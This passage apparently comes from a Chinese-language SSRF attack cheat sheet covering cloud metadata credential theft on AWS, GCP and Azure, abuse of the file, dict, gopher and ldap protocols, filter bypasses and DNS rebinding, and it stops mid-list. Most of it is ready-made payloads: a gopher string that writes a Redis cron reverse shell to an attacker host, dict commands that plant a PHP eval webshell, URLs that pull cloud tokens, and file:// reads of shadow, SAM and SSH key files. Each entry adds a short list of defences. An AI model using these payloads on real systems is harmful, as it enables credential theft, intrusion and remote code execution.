+ **DNS重绑定与重定向链绕过**
204
+ > 利用DNS重绑定使域名在验证时解析为安全IP而实际请求时解析为元数据地址,或通过HTTP重定向链和非标准协议绕过
205
+ ```
206
+ # DNS重绑定(使用rebind服务):
207
+ http://7f000001.A9FEA9FE.rbndr.us/latest/meta-data/
208
+ # 第一次解析到允许的IP,第二次解析到169.254.169.254
209
+
210
+ # 重定向链:
211
+ # 在attacker.com设置302跳转到http://169.254.169.254
212
+ http://attacker.com/redirect?url=http://169.254.169.254/latest/meta-data/
213
+
214
+ # URL schema变体:
215
+ gopher://169.254.169.254:80/_GET%20/latest/meta-data/%20HTTP/1.1%0AHost:%20169.254.169.254%0A%0A
216
+ ```
217
+ **语法解析:**
218
+ - `# DNS重绑定(使用rebind服务):` — 主要命令 _command_
219
+ - `...` — 共8行 _value_
220
+
221
+
222
+ **概述:** AWS环境中的SSRF攻击可通过元数据服务(169.254.169.254)获取IAM临时凭证、实例配置等敏感信息,是云环境中最高危的SSRF利用场景之一,曾导致Capital One等重大数据泄露事件。
223
+
224
+ **漏洞原理:** AWS EC2实例的元数据服务默认在169.254.169.254上开放(IMDSv1无需特殊认证),通过SSRF可获取IAM角色的临时AccessKey/SecretKey/Token,进而访问S3存储桶、RDS数据库、Lambda函数等AWS服务上的敏感数据。
225
+
226
+ **利用方法:** 完整利用流程:
227
+ 1. 通过SSRF访问元数据服务
228
+ 2. 获取IAM角色凭证
229
+ 3. 使用凭证访问AWS资源
230
+ 4. 获取用户数据中的敏感信息
231
+
232
+ **防御措施:** 防御措施:
233
+ 1. 使用IMDSv2并强制token认证
234
+ 2. 限制IAM角色权限
235
+ 3. 不要在用户数据中存储敏感信息
236
+ 4. 使用SSRF防护
237
+
238
+ ---
239
+
240
+ ### GCP元数据攻击 `ssrf-cloud-gcp`
241
+ _利用SSRF攻击Google Cloud元数据服务_
242
+ 子类:**GCP元数据** · tags: `ssrf` `gcp` `cloud` `metadata`
243
+
244
+ **前置条件:**
245
+ - 存在SSRF漏洞
246
+ - 目标运行在GCP环境
247
+
248
+ **攻击链:**
249
+
250
+ **1. 访问元数据服务**
251
+ > 访问GCP元数据端点
252
+ ```
253
+ http://metadata.google.internal/computeMetadata/v1/
254
+ 需要添加Header:
255
+ Metadata-Flavor: Google
256
+ ```
257
+ **语法解析:**
258
+ - `metadata.google.internal` — GCP元数据服务地址 _domain_
259
+ - `computeMetadata/v1/` — 计算引擎元数据API _encoding_
260
+ - `Metadata-Flavor: Google` — 必需的请求头 _header_
261
+
262
+ **2. 获取访问令牌**
263
+ > 获取服务账户令牌
264
+ ```
265
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
266
+ 返回OAuth访问令牌
267
+ ```
268
+ **语法解析:**
269
+ - `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/def` — 攻击载荷 _value_
270
+
271
+ **3. 获取服务账户信息**
272
+ > 获取服务账户邮箱和别名
273
+ ```
274
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
275
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/aliases
276
+ ```
277
+ **语法解析:**
278
+ - `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/def` — 攻击载荷 _value_
279
+
280
+ **4. 获取项目信息**
281
+ > 获取项目ID
282
+ ```
283
+ http://metadata.google.internal/computeMetadata/v1/project/project-id
284
+ http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id
285
+ ```
286
+ **语法解析:**
287
+ - `http://metadata.google.internal/computeMetadata/v1/project/project-id
288
+ http://me` — 攻击载荷 _value_
289
+
290
+ **5. 获取SSH密钥**
291
+ > 获取SSH公钥
292
+ ```
293
+ http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
294
+ http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
295
+ ```
296
+ **语法解析:**
297
+ - `http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
298
+ ` — 攻击载荷 _value_
299
+
300
+ **6. 获取Kubelet凭据**
301
+ > 获取GKE集群信息
302
+ ```
303
+ http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
304
+ 获取Kubernetes环境变量
305
+ ```
306
+ **语法解析:**
307
+ - `http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env` — 命令/关键字 _command_
308
+
309
+ **WAF/EDR 绕过变体:**
310
+
311
+ **使用IP地址**
312
+ > 绕过域名过滤
313
+ ```
314
+ http://169.254.169.254/computeMetadata/v1/
315
+ 使用内网IP代替域名
316
+ ```
317
+ **语法解析:**
318
+ - `http://169.254.169.254/computeMetadata/v1/
319
+ 使用内网IP代替域名` — 攻击载荷 _value_
320
+
321
+
322
+ **概述:** GCP(Google Cloud Platform)环境中的SSRF可访问元数据服务(metadata.google.internal)获取服务账号的OAuth Token和项目配置信息,进而控制GCP资源(存储桶/数据库/计算实例等)。
323
+
324
+ **漏洞原理:** GCP元数据服务要求Metadata-Flavor: Google头(但某些SSRF场景可注入自定义头)。关键端点包括:/computeMetadata/v1/instance/service-accounts/default/token获取Access Token、/project/project-id获取项目信息。
325
+
326
+ **利用方法:** 完整利用流程:
327
+ 1. 发现SSRF漏洞
328
+ 2. 访问元数据服务
329
+ 3. 获取访问令牌
330
+ 4. 使用令牌访问GCP资源
331
+
332
+ **防御措施:** 防御措施:
333
+ 1. 限制元数据服务访问
334
+ 2. 使用GCP Instance Metadata API v2
335
+ 3. 实施网络隔离
336
+ 4. 监控异常元数据访问
337
+
338
+ ---
339
+
340
+ ### Azure元数据攻击 `ssrf-cloud-azure`
341
+ _利用SSRF攻击Azure元数据服务_
342
+ 子类:**Azure元数据** · tags: `ssrf` `azure` `cloud` `metadata`
343
+
344
+ **前置条件:**
345
+ - 存在SSRF漏洞
346
+ - 目标运行在Azure环境
347
+
348
+ **攻击链:**
349
+
350
+ **1. 访问元数据服务**
351
+ > 访问Azure元数据端点
352
+ ```
353
+ http://169.254.169.254/metadata/instance?api-version=2021-02-01
354
+ 需要添加Header:
355
+ Metadata: true
356
+ ```
357
+ **语法解析:**
358
+ - `169.254.169.254` — Azure元数据服务IP _domain_
359
+ - `/metadata/instance` — 实例元数据端点 _encoding_
360
+ - `Metadata: true` — 必需的请求头 _header_
361
+
362
+ **2. 获取访问令牌**
363
+ > 获取托管身份令牌
364
+ ```
365
+ http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
366
+ 返回Azure AD访问令牌
367
+ ```
368
+ **语法解析:**
369
+ - `http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
370
+ 返回Azure` — 命令/载荷起始 _command_
371
+ - ` AD访问令牌` — 参数与载荷内容 _value_
372
+
373
+ **3. 获取计算信息**
374
+ > 获取计算实例信息
375
+ ```
376
+ http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
377
+ 返回VM详细信息
378
+ ```
379
+ **语法解析:**
380
+ - `http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
381
+ 返回VM详细信` — 攻击载荷 _value_
382
+
383
+ **4. 获取网络信息**
384
+ > 获取网络配置
385
+ ```
386
+ http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
387
+ 返回网络配置信息
388
+ ```
389
+ **语法解析:**
390
+ - `http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
391
+ 返回网络配置信` — 攻击载荷 _value_
392
+
393
+ **5. 获取用户数据**
394
+ > 获取用户数据
395
+ ```
396
+ http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-02-01&format=text
397
+ 返回用户自定义数据
398
+ ```
399
+ **语法解析:**
400
+ - `http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-02-01` — 攻击载荷 _value_
401
+
402
+ **WAF/EDR 绕过变体:**
403
+
404
+ **绕过Metadata头检查**
405
+ > 绕过请求头验证
406
+ ```
407
+ 使用HTTP请求走私或重定向绕过Metadata头检查
408
+ ```
409
+ **语法解析:**
410
+ - `使用HTTP请求走私或重定向绕过Metadata头检查` — 攻击载荷 _value_
411
+
412
+
413
+ **概述:** Azure云环境中的SSRF可访问IMDS(Instance Metadata Service, 169.254.169.254)获取管理身份的OAuth Token,进而访问Azure Key Vault密钥、存储账户、SQL数据库等云资源。
414
+
415
+ **漏洞原理:** Azure IMDS端点需要Metadata: true头。关键路径:/metadata/instance获取VM配置、/metadata/identity/oauth2/token获取Managed Identity的Access Token。该Token可用于调用Azure Resource Manager API管理所有授权资源。
416
+
417
+ **利用方法:** 完整利用流程:
418
+ 1. 发现SSRF漏洞
419
+ 2. 添加Metadata头访问元数据
420
+ 3. 获取托管身份令牌
421
+ 4. 使用令牌访问Azure资源
422
+
423
+ **防御措施:** 防御措施:
424
+ 1. 禁用托管身份(如不需要)
425
+ 2. 实施网络隔离
426
+ 3. 监控异常元数据访问
427
+ 4. 使用Azure防火墙规则
428
+
429
+ ---
430
+
431
+ ### SSRF协议利用 `ssrf-protocol`
432
+ _利用各种协议进行SSRF攻击_
433
+ 子类:**协议利用** · tags: `ssrf` `protocol` `file` `gopher`
434
+
435
+ **前置条件:**
436
+ - 存在SSRF漏洞
437
+ - 服务器支持多种协议
438
+
439
+ **攻击链:**
440
+
441
+ **1. File协议**
442
+ > 使用File协议读取文件
443
+ ```
444
+ file:///etc/passwd
445
+ file:///c:/windows/win.ini
446
+ file:///proc/self/environ
447
+ 读取本地文件
448
+ ```
449
+ **语法解析:**
450
+ - `file://` — 本地文件协议 _value_
451
+ - `/etc/passwd` — Linux用户信息文件 _path_
452
+ - `/proc/self/environ` — 当前进程环境变量 _path_
453
+
454
+ **2. Dict协议**
455
+ > 使用Dict协议探测服务
456
+ ```
457
+ dict://127.0.0.1:6379/info
458
+ dict://127.0.0.1:11211/stats
459
+ 探测内网服务
460
+ ```
461
+ **语法解析:**
462
+ - `dict://` — 字典服务协议 _value_
463
+ - `6379` — Redis默认端口 _value_
464
+ - `11211` — Memcached默认端口 _value_
465
+
466
+ **3. Gopher协议**
467
+ > 使用Gopher协议攻击内网服务
468
+ ```
469
+ gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a...
470
+ 构造Redis命令
471
+ ```
472
+ **语法解析:**
473
+ - `gopher://` — Gopher协议 _value_
474
+ - `_` — 协议分隔符 _value_
475
+ - `%0d%0a` — CRLF换行符URL编码 _encoding_
476
+
477
+ **4. LDAP协议**
478
+ > 使用LDAP协议
479
+ ```
480
+ ldap://attacker.com/cn=test
481
+ ldap://127.0.0.1:389/cn=test
482
+ 触发LDAP查询
483
+ ```
484
+ **语法解析:**
485
+ - `ldap://attacker.com/cn=test
486
+ ldap://127.0.0.1:389/cn=test
487
+ 触发LDAP查询` — 攻击载荷 _value_
488
+
489
+ **5. TFTP协议**
490
+ > 使用TFTP协议
491
+ ```
492
+ tftp://attacker.com/file
493
+ 触发TFTP请求
494
+ ```
495
+ **语法解析:**
496
+ - `tftp://attacker.com/file
497
+ 触发TFTP请求` — 攻击载荷 _value_
498
+
499
+ **WAF/EDR 绕过变体:**
500
+
501
+ **协议大小写绕过**
502
+ > 大小写混合绕过
503
+ ```
504
+ FILE:///etc/passwd
505
+ File:///etc/passwd
506
+ Gopher://127.0.0.1:6379/
507
+ ```
508
+ **语法解析:**
509
+ - `FILE:///etc/passwd
510
+ File:///etc/passwd
511
+ Gopher://127.0.0.1:6379/` — 攻击载荷 _value_
512
+
513
+
514
+ **概述:** SSRF协议利用扩展了攻击面,除常见的http/https外,file://读取本地文件、gopher://构造任意TCP报文、dict://探测服务、ftp://访问FTP服务等协议极大增强了SSRF的利用能力。
515
+
516
+ **漏洞原理:** SSRF支持的危险协议:file://读取本地文件(file:///etc/passwd)、gopher://构造任意TCP数据包(可攻击Redis/MySQL/SMTP等内网服务)、dict://探测端口和服务指纹、ftp://访问内网FTP、ldap://查询目录服务。
517
+
518
+ **利用方法:** 完整利用流程:
519
+ 1. 测试支持的协议
520
+ 2. 选择合适的协议
521
+ 3. 构造攻击payload
522
+ 4. 获取数据或执行命令
523
+
524
+ **防御措施:** 防御措施:
525
+ 1. 白名单限制协议(仅HTTP/HTTPS)
526
+ 2. 禁用危险协议处理
527
+ 3. URL规范化验证
528
+ 4. 网络隔离
529
+
530
+ ---
531
+
532
+ ### Gopher协议攻击 `ssrf-gopher`
533
+ _利用Gopher协议攻击内网服务_
534
+ 子类:**Gopher攻击** · tags: `ssrf` `gopher` `redis` `mysql`
535
+
536
+ **前置条件:**
537
+ - 存在SSRF漏洞
538
+ - 服务器支持Gopher协议
539
+
540
+ **攻击链:**
541
+
542
+ **1. Gopher基础格式**
543
+ > Gopher协议格式
544
+ ```
545
+ gopher://<host>:<port>/_<payload>
546
+ _后面是实际发送的数据
547
+ 需要URL编码
548
+ ```
549
+ **语法解析:**
550
+ - `gopher://` — Gopher协议标识 _value_
551
+ - `<host>:<port>` — 目标主机和端口 _tag_
552
+ - `_<payload>` — 要发送的数据 _value_
553
+
554
+ **2. 攻击Redis**
555
+ > 写入cron任务反弹Shell
556
+ ```
557
+ gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$28%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
558
+ ```
559
+ **语法解析:**
560
+ - `gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a` — 攻击载荷 _value_
561
+
562
+ **3. 攻击MySQL**
563
+ > 攻击MySQL数据库
564
+ ```
565
+ gopher://127.0.0.1:3306/_<MySQL协议数据包>
566
+ 需要构造MySQL协议格式的数据
567
+ ```
568
+ **语法解析:**
569
+ - `gopher://127.0.0.1:3306/_<MySQL协议数据包>
570
+ 需要构造MySQL协议格式的数据` — 攻击载荷 _value_
571
+
572
+ **4. 攻击FastCGI**
573
+ > 攻击PHP-FPM
574
+ ```
575
+ gopher://127.0.0.1:9000/_<FastCGI数据包>
576
+ 构造PHP-FPM攻击载荷
577
+ ```
578
+ **语法解析:**
579
+ - `gopher://127.0.0.1:9000/_<FastCGI数据包>
580
+ 构造PHP-FPM攻击载荷` — 攻击载荷 _value_
581
+
582
+ **5. 发送HTTP请求**
583
+ > 发送HTTP请求
584
+ ```
585
+ gopher://target.com:80/_GET%20/admin%20HTTP/1.1%0d%0aHost:%20target.com%0d%0a%0d%0a
586
+ 构造HTTP请求攻击内网
587
+ ```
588
+ **语法解析:**
589
+ - `gopher://target.com:80/_GET%20/admin%20HTTP/1.1%0d%0aHost:%20target.com%0d%0a%0d` — 攻击载荷 _value_
590
+
591
+ **WAF/EDR 绕过变体:**
592
+
593
+ **双重URL编码**
594
+ > 双重URL编码绕过
595
+ ```
596
+ gopher://127.0.0.1:6379/_%252a%250d%250a...
597
+ 双重编码绕过
598
+ ```
599
+ **语法解析:**
600
+ - `gopher://127.0.0.1:6379/_%252a%250d%250a...
601
+ 双重编码绕过` — 攻击载荷 _value_
602
+
603
+
604
+ **概述:** gopher://协议是SSRF利用中最强大的协议,可构造任意TCP报文内容,能模拟Redis/MySQL/SMTP/HTTP等多种协议的通信,是SSRF攻击内网服务实现RCE的关键技术。
605
+
606
+ **漏洞原理:** gopher://通过URL编码传递原始TCP数据:gopher://ip:port/_[url-encoded-data]。可构造Redis的SLAVEOF/CONFIG SET命令写webshell、MySQL认证包执行SQL语句、SMTP邮件发送、HTTP POST请求等,将SSRF升级为内网服务的任意操作。
607
+
608
+ **利用方法:** 完整利用流程:
609
+ 1. 确认Gopher协议支持
610
+ 2. 构造目标服务协议数据
611
+ 3. URL编码payload
612
+ 4. 发送攻击请求
613
+
614
+ **防御措施:** 防御措施:
615
+ 1. 禁用Gopher协议
616
+ 2. 白名单限制协议
617
+ 3. 网络隔离
618
+ 4. 监控异常请求
619
+
620
+ ---
621
+
622
+ ### Dict协议攻击 `ssrf-dict`
623
+ _利用Dict协议探测和攻击内网服务_
624
+ 子类:**Dict协议** · tags: `ssrf` `dict` `redis` `memcached`
625
+
626
+ **前置条件:**
627
+ - 存在SSRF漏洞
628
+ - 服务器支持Dict协议
629
+
630
+ **攻击链:**
631
+
632
+ **1. Dict协议格式**
633
+ > Dict协议基础格式
634
+ ```
635
+ dict://<host>:<port>/<command>
636
+ 发送命令到目标服务
637
+ ```
638
+ **语法解析:**
639
+ - `dict://` — Dict协议标识 _value_
640
+ - `<host>:<port>` — 目标主机和端口 _tag_
641
+ - `<command>` — 要执行的命令 _tag_
642
+
643
+ **2. 探测Redis**
644
+ > 探测Redis服务
645
+ ```
646
+ dict://127.0.0.1:6379/info
647
+ dict://127.0.0.1:6379/keys%20*
648
+ 获取Redis信息
649
+ ```
650
+ **语法解析:**
651
+ - `dict://127.0.0.1:6379/info
652
+ dict://127.0.0.1:6379/keys%20*
653
+ 获取Redis信息` — 攻击载荷 _value_
654
+
655
+ **3. 探测Memcached**
656
+ > 探测Memcached服务
657
+ ```
658
+ dict://127.0.0.1:11211/stats
659
+ dict://127.0.0.1:11211/get%20key
660
+ 获取Memcached信息
661
+ ```
662
+ **语法解析:**
663
+ - `dict://127.0.0.1:11211/stats
664
+ dict://127.0.0.1:11211/get%20key
665
+ 获取Memcached信息` — 攻击载荷 _value_
666
+
667
+ **4. Redis写入文件**
668
+ > 写入WebShell
669
+ ```
670
+ dict://127.0.0.1:6379/set%20shell%20"<?php @eval($_POST[cmd]);?>"
671
+ dict://127.0.0.1:6379/config%20set%20dir%20/var/www/html
672
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20shell.php
673
+ dict://127.0.0.1:6379/save
674
+ ```
675
+ **语法解析:**
676
+ - `dict://127.0.0.1:6379/set%20shell%20"<?php` — 命令/载荷起始 _command_
677
+ - ` @eval($_POST[cmd]);?>"
678
+ dict://127.0.0.1:6379/config%20set%20dir%20/var/www/html
679
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20shell.php
680
+ dict://127.0.0.1:6379/save` — 参数与载荷内容 _value_
681
+
682
+ **WAF/EDR 绕过变体:**
683
+
684
+ **编码绕过**
685
+ > URL编码绕过关键字过滤
686
+ ```
687
+ dict://127.0.0.1:6379/%73%65%74%20...
688
+ URL编码命令
689
+ ```
690
+ **语法解析:**
691
+ - `dict://127.0.0.1:6379/%73%65%74%20...
692
+ URL编码命令` — 攻击载荷 _value_
693
+
694
+
695
+ **概述:** dict://协议可向指定IP:端口发送单行文本,常用于SSRF中的端口扫描和服务指纹识别。虽然功能有限,但在gopher://不可用时是内网探测的有效替代方案。
696
+
697
+ **漏洞原理:** dict://协议向目标发送DICT协议命令(单行文本+CRLF)。利用方式:1)端口扫描(dict://ip:port/info检测端口开放) 2)Redis命令执行(dict://ip:6379/SET key value) 3)服务指纹(根据响应判断服务类型)。
698
+
699
+ **利用方法:** 完整利用流程:
700
+ 1. 确认Dict协议支持
701
+ 2. 探测内网服务
702
+ 3. 发送恶意命令
703
+ 4. 获取数据或写入文件
704
+
705
+ **防御措施:** 防御措施:
706
+ 1. 禁用Dict协议
707
+ 2. 白名单限制协议
708
+ 3. 内网服务认证
709
+ 4. 网络隔离
710
+
711
+ ---
712
+
713
+ ### File协议攻击 `ssrf-file`
714
+ _利用File协议读取本地文件_
715
+ 子类:**File协议** · tags: `ssrf` `file` `lfi` `read`
716
+
717
+ **前置条件:**
718
+ - 存在SSRF漏洞
719
+ - 服务器支持File协议
720
+
721
+ **攻击链:**
722
+
723
+ **1. Linux敏感文件**
724
+ > 读取Linux敏感文件
725
+ _platform: linux_
726
+ ```
727
+ file:///etc/passwd
728
+ file:///etc/shadow
729
+ file:///etc/hosts
730
+ file:///etc/resolv.conf
731
+ file:///proc/self/environ
732
+ file:///proc/self/cmdline
733
+ ```
734
+ **语法解析:**
735
+ - `file://` — File协议标识 _value_
736
+ - `/etc/passwd` — 用户信息文件 _path_
737
+ - `/proc/self/` — 当前进程信息目录 _path_
738
+
739
+ **2. Windows敏感文件**
740
+ > 读取Windows敏感文件
741
+ _platform: windows_
742
+ ```
743
+ file:///c:/windows/win.ini
744
+ file:///c:/windows/system32/config/sam
745
+ file:///c:/users/administrator/.ssh/id_rsa
746
+ file:///c:/inetpub/logs/logfiles/
747
+ ```
748
+ **语法解析:**
749
+ - `file:///c:/windows/win.ini
750
+ file:///c:/windows/system32/config/sam
751
+ file:///c:/u` — 攻击载荷 _value_
752
+
753
+ **3. Web配置文件**
754
+ > 读取Web应用配置
755
+ ```
756
+ file:///var/www/html/config.php
757
+ file:///var/www/html/wp-config.php
758
+ file:///app/config/database.yml
759
+ file:///app/.env
760
+ ```
761
+ **语法解析:**
762
+ - `file:///var/www/html/config.php
763
+ file:///var/www/html/wp-config.php
764
+ file:///app` — 攻击载荷 _value_
765
+
766
+ **4. 云环境文件**
767
+ > 读取云环境凭据
768
+ ```
769
+ file:///var/run/secrets/kubernetes.io/serviceaccount/token
770
+ file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
771
+ file:///home/user/.aws/credentials
772
+ ```
773
+ **语法解析:**
774
+ - `file:///var/run/secrets/kubernetes.io/serviceaccount/token
775
+ file:///var/run/secr` — 攻击载荷 _value_
776
+
777
+ **5. SSH密钥**
778
+ > 读取SSH私钥
779
+ ```
780
+ file:///home/user/.ssh/id_rsa
781
+ file:///home/user/.ssh/authorized_keys
782
+ file:///root/.ssh/id_rsa
783
+ ```
784
+ **语法解析:**
785
+ - `file:///home/user/.ssh/id_rsa
786
+ file:///home/user/.ssh/authorized_keys
787
+ file:///r` — 攻击载荷 _value_
788
+
789
+ **WAF/EDR 绕过变体:**
790
+
791
+ **大小写混合**
792
+ > 大小写混合绕过
793
+ ```
794
+ FILE:///etc/passwd
795
+ File:///etc/passwd
796
+ file:///ETC/PASSWD
797
+ ```
798
+ **语法解析:**
799
+ - `FILE:///etc/passwd
800
+ File:///etc/passwd
801
+ file:///ETC/PASSWD` — 攻击载荷 _value_
802
+
803
+
804
+ **概述:** file://协议是SSRF中最基础的利用方式,可直接读取服务器本地文件系统上的任意文件。虽然简单,但在获取配置文件、源代码、密钥文件等敏感信息时极为有效。
805
+
806
+ **漏洞原理:** file://协议读取本地文件:file:///etc/passwd(用户列表)、file:///etc/shadow(密码哈希,需root权限)、file:///proc/self/environ(环境变量,可能包含密钥)、file:///root/.ssh/id_rsa(SSH私钥)。Windows下可读C:\\Windows\\win.ini等。
807
+
808
+ **利用方法:** 完整利用流程:
809
+ 1. 确认File协议支持
810
+ 2. 探测敏感文件路径
811
+ 3. 读取配置文件获取凭据
812
+ 4. 利用凭据进一步渗透
813
+
814
+ **防御措施:** 防御措施:
815
+ 1. 禁用File协议
816
+ 2. 白名单限制协议
817
+ 3. 文件权限控制
818
+ 4. 敏感文件加密存储
819
+
820
+ ---
821
+
822
+ ### SSRF绕过技术 `ssrf-bypass`
823
+ _各种绕过SSRF过滤的技术_
824
+ 子类:**绕过技术** · tags: `ssrf` `bypass` `waf` `filter`
825
+
826
+ **前置条件:**
827
+ - 存在SSRF漏洞
828
+ - 存在过滤机制
829
+
830
+ **攻击链:**
831
+
832
+ **1. IP格式绕过**
833
+ > 使用不同IP格式表示127.0.0.1
834
+ ```
835
+ http://0177.0.0.1 (八进制)
836
+ http://2130706433 (十进制)
837
+ http://0x7f000001 (十六进制)
838
+ http://127.1 (简写)
839
+ http://127.0.0.1.nip.io (DNS重绑定)
840
+ http://127.0.0.1.xip.io
841
+ ```
842
+ **语法解析:**
843
+ - `0177` — 127的八进制表示 _value_
844
+ - `2130706433` — 127.0.0.1的十进制整数 _value_
845
+ - `0x7f000001` — 127.0.0.1的十六进制 _encoding_
846
+
847
+ **2. URL解析差异**
848
+ > 利用URL解析差异
849
+ ```
850
+ http://attacker.com#@127.0.0.1/
851
+ http://127.0.0.1.attacker.com
852
+ http://attacker.com\@127.0.0.1/
853
+ http://attacker.com\.127.0.0.1/
854
+ ```
855
+ **语法解析:**
856
+ - `#@` — 利用片段标识符差异 _value_
857
+ - `\@` — 利用反斜杠解析差异 _value_
858
+
859
+ **3. 重定向绕过**
860
+ > 利用HTTP重定向
861
+ ```
862
+ http://attacker.com/redirect?url=http://127.0.0.1
863
+ 使用短链接服务重定向到内网
864
+ ```
865
+ **语法解析:**
866
+ - `http://attacker.com/redirect?url=http://127.0.0.1
867
+ 使用短链接服务重定向到内网` — 攻击载荷 _value_
868
+
869
+ **4. DNS重绑定**
870
+ > DNS重绑定攻击
871
+ ```
872
+ http://7f000001.cip.cc
873
+ http://127.0.0.1.nip.io
874
+ 第一次解析为外网IP,第二次解析为内网IP
875
+ ```
876
+ **语法解析:**
877
+ - `http://7f000001.cip.cc
878
+ http://127.0.0.1.nip.io
879
+ 第一次解析为外网IP,第二次解析为内网IP` — 攻击载荷 _value_
880
+
881
+ **5. IPv6绕过**
882
+ > 使用IPv6地址绕过
883
+ ```
884
+ http://[::1]
885
+ http://[0:0:0:0:0:0:0:1]
886
+ http://[0000::1]
887
+ 使用IPv6本地地址
888
+ ```
889
+ **语法解析:**
890
+ - `http://[::1]
891
+ http://[0:0:0:0:0:0:0:1]
892
+ http://[0000::1]
893
+ 使用IPv6本地地址` — 攻击载荷 _value_
894
+
895
+ **6. 编码绕过**
896
+ > 使用编码绕过
897
+ ```
898
+ http://%31%32%37%2e%30%2e%30%2e%31 (URL编码)
899
+ http://127.0.0.1%00attacker.com (空字节)
900
+ http://127.0.0.1%0d%0aHost:attacker.com (CRLF)
901
+ ```
902
+ **语法解析:**
903
+ - `http://%31%32%37%2e%30%2e%30%2e%31` — 命令/载荷起始 _command_
904
+ - ` (URL编码)
905
+ http://127.0.0.1%00attacker.com (空字节)
906
+ http://127.0.0.1%0d%0aHost:attacker.com (CRLF)` — 参数与载荷内容 _value_
907
+
908
+ **WAF/EDR 绕过变体:**
909
+
910
+ **组合绕过**
911
+ > 组合多种绕过技术
912
+ ```
913
+ http://0x7f.0.0.1
914
+ http://0177.0.0.1
915
+ http://127.000.000.001
916
+ 多种格式组合
917
+ ```
918
+ **语法解析:**
919
+ - `http://0x7f.0.0.1
920
+ http://0177.0.0.1
921
+ http://127.000.000.001
922
+ 多种格式组合` — 攻击载荷 _value_
923
+
924
+
925
+ **概述:** SSRF绕过技术针对应用层面的URL过滤措施(IP黑名单/白名单/域名限制),通过IP编码变换、DNS重绑定、URL解析差异、重定向跳转等方式突破SSRF防护。
926
+
927
+ **漏洞原理:** SSRF过滤绕过方法:1)IP变形(0177.0.0.1/2130706433/0x7f000001) 2)IPv6(::1/::ffff:127.0.0.1) 3)DNS重绑定(域名解析切换) 4)URL解析差异(@符号/URL编码) 5)302重定向跳转 6)URL短链服务 7)进制转换 8)CNAME到内网IP。
928
+
929
+ **利用方法:** 完整利用流程:
930
+ 1. 分析过滤规则
931
+ 2. 测试各种绕过技术
932
+ 3. 找到有效的绕过方法
933
+ 4. 访问内网资源
934
+
935
+ **防御措施:** 防御措施:
936
+ 1. 解析后验证IP地址
937
+ 2. 禁止访问内网IP段
938
+ 3. 禁用重定向跟随
939
+ 4. 使用DNS解析验证
940
+
941
+ ---
942
+
943
+ ### DNS重绑定攻击 `ssrf-dns-rebinding`
944
+ _利用DNS重绑定绕过SSRF防护_
945
+ 子类:**DNS重绑定** · tags: `ssrf` `dns` `rebinding` `bypass`
946
+
947
+ **前置条件:**
948
+ - 存在SSRF漏洞
949
+ - 存在DNS解析验证
950
+
951
+ **攻击链:**
952
+
953
+ **1. DNS重绑定原理**
954
+ > DNS重绑定原理
955
+ ```
956
+ 第一次DNS查询:返回外网IP(通过验证)
957
+ 第二次DNS查询:返回内网IP(实际访问)
958
+ 利用TTL=0或短TTL
959
+ ```
960
+ **语法解析:**
961
+ - `TTL=0` — DNS记录立即过期 _value_
962
+ - `第一次查询` — 返回允许的IP _value_
963
+ - `第二次查询` — 返回内网IP _value_
964
+
965
+ **2. 使用公开服务**
966
+ > 使用DNS重绑定服务
967
+ ```
968
+ http://7f000001.cip.cc (解析为127.0.0.1)
969
+ http://127.0.0.1.nip.io
970
+ http://127.0.0.1.xip.io
971
+ http://A.127.0.0.1.1time.8.8.8.8.forever.rebind.network
972
+ ```
973
+ **语法解析:**
974
+ - `http://7f000001.cip.cc` — 命令/载荷起始 _command_
975
+ - ` (解析为127.0.0.1)
976
+ http://127.0.0.1.nip.io
977
+ http://127.0.0.1.xip.io
978
+ http://A.127.0.0.1.1time.8.8.8.8.forever.rebind.network` — 参数与载荷内容 _value_
979
+
980
+ **3. 自建DNS服务器**
981
+ > 自建DNS重绑定服务器
982
+ ```
983
+ # 使用dnspython搭建
984
+ from dnslib import *
985
+ class RebindResolver:
986
+ def __init__(self):
987
+ self.count = 0
988
+ def resolve(self, request):
989
+ self.count += 1
990
+ if self.count % 2 == 1:
991
+ return "1.2.3.4" # 外网IP
992
+ else:
993
+ return "127.0.0.1" # 内网IP
994
+ ```
995
+ **语法解析:**
996
+ - `# 使用dnspython搭建
997
+ from dnslib import *
998
+ class RebindResolver:
999
+ def __init__(s` — 攻击载荷 _value_
1000
+
1001
+ **4. 攻击流程**
1002
+ > 完整攻击流程
1003
+ ```
1004
+ 1. 注册域名指向自建DNS服务器
1005
+ 2. 配置DNS服务器返回两个IP
1006
